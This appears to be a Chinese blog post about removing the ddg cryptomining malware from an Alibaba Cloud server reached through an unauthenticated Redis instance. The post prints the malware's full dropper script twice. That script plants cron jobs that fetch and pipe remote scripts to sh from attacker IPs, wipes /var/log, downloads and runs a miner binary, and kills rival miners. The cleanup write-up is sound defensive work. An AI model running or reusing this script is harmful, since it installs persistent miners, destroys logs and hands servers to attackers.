今早一来收到阿里的通知信!
6379,明显是个redis的端口
查了一下。是个挖矿病毒,cpu 占用巨高 。杀了又有守护进程启动
crontab -e
定时进程
打开脚本瞅瞅
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
rm -rf /var/cache /var/log
ps auxf | grep -v grep | grep /tmp/ddgs.3017 || rm -rf /tmp/ddgs.3017
if [ ! -f "/tmp/ddgs.3017" ]; then
wget -q http://132.148.241.138:8000/static/3017/ddgs.$(uname -m) -O /tmp/ddgs.3017
curl -fsSL http://132.148.241.138:8000/static/3017/ddgs.$(uname -m) -o /tmp/ddgs.3017
fi
chmod +x /tmp/ddgs.3017 && /tmp/ddgs.3017
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
然后,说说这货怎么传播的。 他通过redis 。目前中毒的 共同点就是 安装了 redis 并且没有设置密码。 而且都是阿里云。 查看一下中毒时间。大概在网上 3 点。明显了,有人 利用redis 的 漏洞。固定在 去请求 阿里云的内网网ip。找有3306 端口,并且没有 设置 密码的 ecs。然后植入病毒。
解决过程:
首先解决redis入口问题,因为最开始没有设置密码,所以首先修改redis.conf。设置密码,然后重启redis
在/tmp文件夹下发现该进程的文件 ls /tmp
发现qW3xT.2文件又重新生成了。这时,首先删除qW3xT.2文件和ddgs.3013文件,然后使用top查询qW3xT.2和ddgs.3013的pid,直接kill掉。
一段时间之后,删除的文件重新生成,dds和挖矿的进程又重新执行。此时怀疑是否有计划任务,此时查看计划任务的列表
# crontab -l
*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
删除计划任务 crontab -r
curl 的这几个 optional 介绍
-f - fail在HTTP错误(H)上静默失败(根本没有输出)
-s -silent静音模式。 不要输出任何东西
--socks4 HOST [:PORT]给定主机+端口上的SOCKS4代理
--socks4a HOST [:PORT]给定主机+端口上的SOCKS4a代理
--socks5 HOST [:PORT]给定主机+端口上的SOCKS5代理
--socks5-hostname HOST [:PORT] SOCKS5代理,将主机名传递给代理
--socks5-gssapi-service名称为gssapi的SOCKS5代理服务名称
--socks5-gssapi-nec与NEC SOCKS5服务器的兼容性
-S --show-error显示错误。 使用-s时,make curl会在出现错误时显示错误
-L --location遵循重定向(H)
--location-trusted like --location并将auth发送给其他主机(H)
此时计划任务已经删除。参考资料https://juejin.im/post/5b62b975f265da0f9628a820。
计划任务删除完成之后,这个13又开始运行。太顽固了。
于是我又看计划任务的内容,是否是有东西没有删除干净。
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
rm -rf /var/cache /var/log
ps auxf | grep -v grep | grep /tmp/ddgs.3017 || rm -rf /tmp/ddgs.3017
if [ ! -f "/tmp/ddgs.3017" ]; then
wget -q http://132.148.241.138:8000/static/3017/ddgs.$(uname -m) -O /tmp/ddgs.3017
curl -fsSL http://132.148.241.138:8000/static/3017/ddgs.$(uname -m) -o /tmp/ddgs.3017
fi
chmod +x /tmp/ddgs.3017 && /tmp/ddgs.3017
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
发现计划任务在服务器中创建了几个文件,
/var/spool/cron/crontabs/root
/var/spool/cron/root
内容是*/15 * * * * curl -fsSL http://132.148.241.138:8000/i.sh | sh(与计划任务相同)
将计划任务中创建的文件删除。
最终,这个挖矿病毒终于删除完成